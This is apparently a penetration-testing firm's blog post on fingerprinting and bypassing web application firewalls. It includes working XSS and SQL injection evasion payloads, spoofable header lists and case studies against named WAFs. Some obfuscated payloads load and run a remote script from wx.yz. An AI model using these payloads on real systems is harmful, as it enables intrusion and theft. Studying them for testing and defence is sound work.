All

When WAFs Go Awry: Common Detection & Evasion Techniques for Web Application Firewalls

Web Application Firewalls (WAFs) help to protect web applications by monitoring, filtering, and blocking HTTP traffic to and from a web service. However, WAFs are too often relied upon as a single line of defence to protect a web application against all types of attack.

This blog post provides a brief technical overview of how WAFs work and how to identify which WAF is in use, before delving into common and more novel approaches for bypassing WAFs. Finally, we will discuss a number of real-world case studies that demonstrate more advanced WAF evasion techniques which have been used when up against Azure Application Gateway, Cloudflare, CloudFront, F5 BIG-IP ASM, and OWASP Core Rule Set.

How WAFs Work

A Web Application Firewall (WAF) is a security system that monitors, filters, and blocks malicious traffic to a web application, whilst allowing legitimate traffic to pass through.

WAFs typically protect against common web-based attacks, such as Code/Command Execution, Cross-site Scripting (XSS), Directory Traversal, File Inclusion, SQL Injection, and XML External Entity (XXE) Injection. However, WAFs are not designed to defend against all types of attack e.g., access control violations, business/process logic flaws, and other such attacks.

WAFs use a variety of criteria to distinguish between legitimate and malicious traffic, such as the source IP address, the type of request being made e.g., GET vs. POST, and the body of the request. Sometimes WAFs use a learning model or even Artificial Intelligence (AI) to add rules automatically through learning about user behaviour.

There are several models of operation which are commonly used by WAFs:

Negative model

This model uses a pre-defined list of signatures to block requests that are obviously malicious e.g., rules for blocking potential SQL Injection or Cross-site Scripting payloads.

Positive model

This model only allows web traffic according to specifically configured criteria e.g., only allowing requests from certain IP addresses or countries.

Hybrid model

This model combines both allowlisting and blocklisting e.g., a website is Internet facing (requires a blocklist model), but the administrative interface needs to be exposed to only a subset of users (requires an allowlist model).

There are also different types of WAF, each of which has its own advantages and drawbacks:

Network-based WAFs

These are deployed at the network perimeter, typically on hardware devices or software running on a dedicated server. They are designed to protect all web applications hosted on the network, but require investment in hardware and might not provide as granular level of control as host-based WAFs.

Host-based WAFs

These are deployed on individual web servers, typically as a software solution, but they only protect the web application running on the server where they are deployed and might require additional resources to manage and maintain them.

Cloud-hosted WAFs

These are deployed as a service, with the WAF provider managing the entire infrastructure. They are designed to protect web applications hosted on any type of server, but require a subscription to a third-party service and might not provide the same level of protection as a network-based or host-based WAF, depending on the provider.

Detecting WAFs

Various techniques can be used to detect if a WAF has been deployed to protect a web service. For example, WAFs are often exposed on several common ports e.g., 80, 443, 8000, 8080, and 8888.

Some WAFs set their own cookies in requests (e.g., Citrix NetScaler and F5 BIP-IP ASM), whilst others associate themselves with separate headers (e.g., Amazon AWS WAF) or alter headers and jumble characters (e.g., Citrix NetScaler and F5 BIP-IP ASM).

Some WAFs expose themselves directly in the Server response header (e.g., Approach and Cloudflare), whilst others expose themselves in the HTTP response body (e.g., dotDefender).

Some WAFs even respond to potentially malicious traffic with unusual HTTP response codes (e.g., WebKnight’s 999 No Hacking response). More techniques for identifying WAFs can be found at the comprehensive Awesome WAF resource from 0xInfection.

Evading WAFs

There are many techniques which can be used to determine what is (and is not) being blocked by a WAF, several of which are discussed below.

Fuzzing

A common approach to determining the payloads which are (and are not) being blocked by a WAF solution is fuzzing. This approach involves testing a set of payloads against the WAF, for example those from SecLists, FuzzDB, and Payloads All The Things, and observing the WAF’s responses.

All responses from the different payloads fuzzed should be recorded and analysed to determine what is (and is not) being blocked by the WAF.

However, this approach runs the risk that the source IP address for the fuzzing might be blocked by the WAF, either temporarily or permanently. Using the IP Rotate Burp Suite extension, random User-Agent strings, and dynamic request latency can be helpful to avoid such blocks.

Reversing Regexes

Perhaps the most efficient method for bypassing WAFs is reversing the regular expressions (or regexes) and rules which are used to detect common attacks.

Some WAFs rely on matching attack payloads with the signatures in their databases, so it is possible to study their regexes/rules and identify possible bypasses for blocklisted keywords. However, commercial WAFs are often closed-source so the regexes/rules on which they rely are not readily available for us to review.

Another approach is to fingerprint the WAF’s regexes/rules step-by-step by observing the keywords being blocklisted, then trying to guess the regex in use and crafting payloads which don’t use the blocklisted keywords. An example of this approach is shown below:

Regex:

preg_match('/(and|or|union)/i', $id)

Blocked attempt:

union select username, password from users

Bypassed injection:

1 || (select username from users where id = 1) = 'admin'

More techniques can be found at the comprehensive Awesome WAF resource from 0xInfection.

Obfuscation and Encoding Techniques

Various obfuscation and encoding techniques can also be used to bypass blocklisted keywords. These techniques use alternative representations of characters in an attempt to evade detection by the WAF.

Some common obfuscation and encoding techniques are provided below and we will see some of these used in case studies later in this blog post.

Case Toggling:

  • Standard: <script>alert()</script>
  • Obfuscated: <ScRipT>alert()</sCRipT>

URL Encoding:

  • Standard: <svG/x=">"/oNloaD=confirm()//
  • Obfuscated: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Unicode Normalization:

  • Standard: <marquee onstart=prompt()>
  • Obfuscated: <marquee onstart=\u0070r\u006f\u006dpt()>
  • Note: ES6 also supports a new form of Unicode escape using curly braces e.g., \u{3a}

Line Breaks/Carriage Returns:

  • Standard: <iframe src="javascript:confirm(0)">
  • Obfuscated: <iframe src="j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

HTML Representation:

  • Standard: "><img src=x onerror=confirm()>
  • Obfuscated: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;

Comments:

  • Standard: <script>alert()</script>
  • Obfuscated: <!--><script>alert/**/()/**/</script>

Double URL Encoding:

  • Standard: <script>alert()</script>
  • Obfuscated: %253Cscript%253Ealert%2528%2529%253C%252Fscript%253E

Dynamic Payload Generation:

  • Standard: <script>alert()</script>
  • Obfuscated: <script>eval('al'+'er'+'t()')</script>

Alternative Character Sets

Alternative character sets (or charsets) can also be used to evade detection by a WAF. Many web servers support different character encodings and can correctly interpret alternatively encoded content.

It might be possible to obfuscate payloads using a character encoding which is not supported by the WAF, but which the web server can interpret correctly (Burp Suite’s Hackvertor extension can be used to do this).

For example, IIS 6, 7.5, 8, and 10 (ASPX v4.x) all support IBM037 and IBM500 character encodings, as shown in the example below. Note that the equals (=) and ampersand (&) symbols should not be encoded when using these character encodings.

Original request:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users—

IBM037-encoded request:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

Unicode Compatibility Bugs

Unicode compatibility bugs can also be used to evade detection by a WAF by changing the charset parameter or Accept-Charset header to a higher Unicode encoding (e.g., UTF-32) which is then decoded by the browser using a lower Unicode encoding (e.g., UTF-8).

In the example shown below, when the browser decodes the UTF-32-encoded payload using UTF-8 encoding, the decoded Cross-site Scripting payload <script>alert(1)<script> will be triggered:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Request Header Spoofing

Request header spoofing can also be used to evade detection by tricking the WAF into believing that a request originated from an internal IP address or an allowlisted IP address or country.

An attacker can add spoofed HTTP headers to requests which represent an internal IP address such as 127.0.0.1. This technique can also be used to rewrite request URLs or override HTTP verbs to bypass WAFs, for example by changing the request method from GET to POST.

The following requests headers can be spoofed to evade certain WAFs:

CF-Connecting-IP: 127.0.0.1
CF-IPCountry: GB
Client-IP: 127.0.0.1
CloudFront-Viewer-Country: GB
Cluster-Client-IP: 127.0.0.1
Fastly-Client-IP: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: for=127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-GeoIP-CC: GB
X-Host: 127.0.0.1
X-HTTP-Method-Override: POST
X-Method-Override: POST
X-Original-Url: /admin
X-Originating-IP: 127.0.0.1
X-Override-Url: /admin
X-ProxyUser-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: /admin
X-Scraped: 127.0.0.1
X-WAP-Profile: 127.0.0.1/wap.xml

Abuse WAF Request Limit

Sometimes WAFs have an upper limit on how much of the HTTP request they are intended to inspect. By sending an HTTP request with a body size which exceeds this upper limit, we can successfully evade the WAF.

For example, if a WAF is only intended to inspect the first 8192 bytes of a POST request body, an attacker can craft a request with a body size exceeding the 8192-byte size limit where the payload appears after the 8192nd byte in the request body. The Burp Suite WAF Bypadd extension can be used to do this and we will see this technique used in case studies later in this blog post.

Methodology for finding WAF Bypasses (XSS)

One technique we have successfully used to find WAF bypasses for Cross-site Scripting is as follows and we will see elements of this technique used in case studies later in this blog post.

  1. Probe a list of HTML tags from the PortSwigger XSS cheat sheet with Burp Suite’s Intruder tool.
  2. Probe a list of JavaScript event handlers from the PortSwigger XSS cheat sheet with Intruder for each valid HTML tag.
  3. Apply different obfuscation and encoding techniques recursively to each payload and observe the HTTP response from the WAF.

Case Studies

The following are real-world case studies observed during assessments where it has been possible to bypass free and commercial WAF solutions, including Azure Application Gateway, Cloudflare, CloudFront, and F5 BIG-IP ASM, using common and more novel WAF evasion techniques.

Case Study 1 – Media Website protected by CloudFront

MDSec assessed a website for a media company that was protected by CloudFront.

We probed the list of HTML tags from the PortSwigger XSS cheat sheet with Burp Suite’s Intruder tool and found that not many tags were being blocked by CloudFront, except for <script>.

We then probed the list of JavaScript event handlers from the PortSwigger XSS cheat sheet with Intruder and found that a few obscure event handlers were allowed through the WAF, but most of these were not easily exploitable.

However, the onbeforetoggle event handler wasn’t blocked by CloudFront. The beforetoggle event fires on a popover element (i.e., one that has a valid popover attribute) just before it is shown or hidden on the page.

Research from PortSwigger’s Gareth Heyes on exploiting this event handler provided some inspiration and the following Cross-site Scripting payload was constructed to bypass CloudFront:

<button popovertarget=x>Next</button>
<xss onbeforetoggle=
eval(atob(‘dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=‘)) popover id=x>XSS</xss>

The Cross-site Scripting payload was reflected in an HTML context on a product search results page and clicking on the “Next” button shown below would trigger the payload:

Case Study 2 – Online Bank protected by CloudFront and F5 BIG-IP ASM

MDSec assessed a website for an online bank that was protected by both CloudFront and F5 BIG-IP ASM. The exploit was DOM-based and was reflected in a JavaScript context, so there was no requirement to probe for allowed HTML tags or JavaScript event handlers.

We needed to figure out recursively what was (and was not) being blocked by the WAF’s regexes/rules, so we tried a known valid Cross-site Scripting payload and worked backwards from there.

Attempt 1 (known valid XSS payload):

eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));

This payload was blocked, so we attempted to bypass the WAFs again after removing the eval string from the payload:

Attempt 2 (no eval):

var fn=window[atob('ZXZhbA==')];fn(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));

This payload was also blocked, so we deduced that the atob string was also being detected by the WAFs. We needed to construct a valid Cross-site Scripting payload which used neither of these strings.

This resource from ParaCyberBellum provided some inspiration and the following Cross-site Scripting payload was constructed to bypass both CloudFront and F5 BIG-IP ASM:

`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
var e=this[$1+$2+$3+$4];
var x=this[$5+$6+$7+$8];
e(x(`dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=`));
});

The payload uses regex capture groups and the JavaScript String replace() method with a function to return the replacement text and construct the Cross-site Scripting payload as follows:

  • e1v2a3l4a5t6o7b becomes evalatob
  • var e = this[$1+$2+$3+$4] = e1v2a3l4a5t6o7b = eval
  • var x = this[$5+$6+$7+$8] = e1v2a3l4a5t6o7b = atob
  • e(x( = eval(atob(

Another similar technique which uses the self property of the JavaScript Window object is shown below:

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
	"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHBzOi8vd3gueXovMS5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs="
  )
)

This payload uses the hexadecimal representation of eval i.e., self["\x65\x76\x61\x6c"] and atob i.e., self["\x61\x74\x6f\x62"] for decoding a Base64-encoded string. Inside the Base64-encoded string, there is the following script:

var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src', 'https://wx.yz/1.js');
head.appendChild(script);

Further examples of this technique can be found at this resource from Secjuice.

Case Study 3 – Public Sector API protected by Cloudflare

MDSec assessed an API for a public sector company that was protected by Cloudflare.

We found that Cloudflare seemed to ignore payloads when a large amount of junk data was added after the Cross-site Scripting payload in a JSON request body.

As it turned out, Cloudflare was simply ignoring requests over 131,072 bytes (128 KiB). A 131,073 byte POST request body was sent to the server, including the XSS payload, which successfully bypassed Cloudflare.

Further research suggests that this might be related to a fixed value per Durable Object in Cloudflare, so it is worth trying this technique when up against Cloudflare.

The following screenshot shows the response from Cloudflare when a request body less than 131,072 bytes is sent to the server:

The following screenshot shows the response from Cloudflare when a request body greater than 131,072 bytes is sent to the server:

Case Study 4 – Healthcare Provider protected by Azure Application Gateway

MDSec assessed a website for a healthcare provider that was protected by Azure Application Gateway.

We found that Azure Application Gateway seemed to ignore payloads when a large amount of junk data was added before an SQL Injection payload in a JSON request body.

The SQL “FROM” keyword was explicitly blocked by Azure Application Gateway, which made exploitation difficult without a WAF bypass. However, errors could be triggered using the PostgreSQL box()geometric type conversion function, which could be used for a proof-of-concept exploit without needing a WAF bypass.

The following blog posts from IndiShell Lab were the inspiration this technique; these are well worth a read as there are a lot of useful techniques discussed:

The following screenshot shows how Azure Application Gateway has been evaded by using the PostgreSQL box() geometric type conversion function to return the version of PostgreSQL running on the server:

The following screenshot shows how Azure Application Gateway has been evaded by adding a large amount of junk data before an SQL injection payload in the JSON request body:

Pushing the Boundaries

There are several WAF evasion techniques which are particularly novel and push the boundaries of what can be achieved with a little creative thought.

Aurebesh.js from Aemkei, for example, is a script which enables any list of ASCII symbols to be used to generate a short piece of valid JavaScript code. An example of this using hieroglyphics is shown below and such payloads would likely be difficult for a WAF to reliably detect:

𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀[𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[𓇎]+𓂀[𓏢]+𓊝+𓆣+"(𓅂)")()

Often bug bounty contributions will also disclose some interesting WAF evasion techniques. For example, OWASP Core Rule Set (CRS) ran a private bug bounty in 2022, organised by Intigriti. Core Rule Set is an open-source WAF ruleset that protects numerous servers, CDNs, cloud platforms, and is used by many commercial WAFs.

In total, 175 reports were received and 511 unique payloads were extracted from those reports. Several novel partial rule set bypasses were discovered during the private bug bounty, as detailed in the following CVEs:

CVE-2022-39955

  • A vulnerable back-end can potentially be exploited by declaring multiple Content-Type charset names and therefore bypassing the configurable Core Rule Set Content-Type header charset allowlist.

CVE-2022-39956

  • Submitting a payload that uses a character encoding scheme via the Content-Type or the deprecated Content-Transfer-Encoding multipart MIME header fields.

CVE-2022-39957

  • A client can issue an HTTP accept header field containing an optional charset parameter in order to receive the response in an encoded form.

CVE-2022-39958

  • Sequentially exfiltrate small and undetectable sections of data by repeatedly submitting an HTTP range header field with a small byte range.

However, sometimes WAF evasion techniques can be surprisingly simple, for example the ModSecurity Path Confusion flaw disclosed as CVE-2024-1019.

ModSecurity versions 3.0.0 to 3.0.11 decoded URL-encoded characters before it separated the URL path from the optional query string. This meant that an attacker could hide a payload in the URL path from the ModSecurity rules inspecting it simply by inserting %3f (i.e., a URL-encoded ? character) before any payload, as shown in the example below:

https://example.com/foo%3f’;alert(1);foo=

This could allow an attacker to exploit a back-end which uses the path component of request URLs to construct queries. For example, OWASP Core Rule Set widely used the affected REQUEST_FILENAME variable in its rules.

Conclusions

In this blog post, we have looked at a brief technical overview of how WAFs work and how to identify which WAF is in use, as well as common and more novel approaches for bypassing WAFs. We have also looked at a number of case studies which demonstrate more advanced WAF evasion techniques against Azure Application Gateway, Cloudflare, CloudFront, F5 BIG-IP ASM, and OWASP Core Rule Set.

WAFs often rely on blocklisted keywords to filter requests and should not be relied upon in isolation to defend against all types of attacks. Many techniques for payload obfuscation and encoding are available to try so be creative and work recursively from a known valid payload to see what is (and is not) being blocked by the WAF.

Don’t simply move on when encountering a WAF; they’re often much simpler to bypass than you might think!

Some useful resources for further reading on WAF detection and evasion techniques are provided below:

Resources referenced in this blog post are listed below:

Written by James Hall, Senior Security Consultant

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2025 MDSec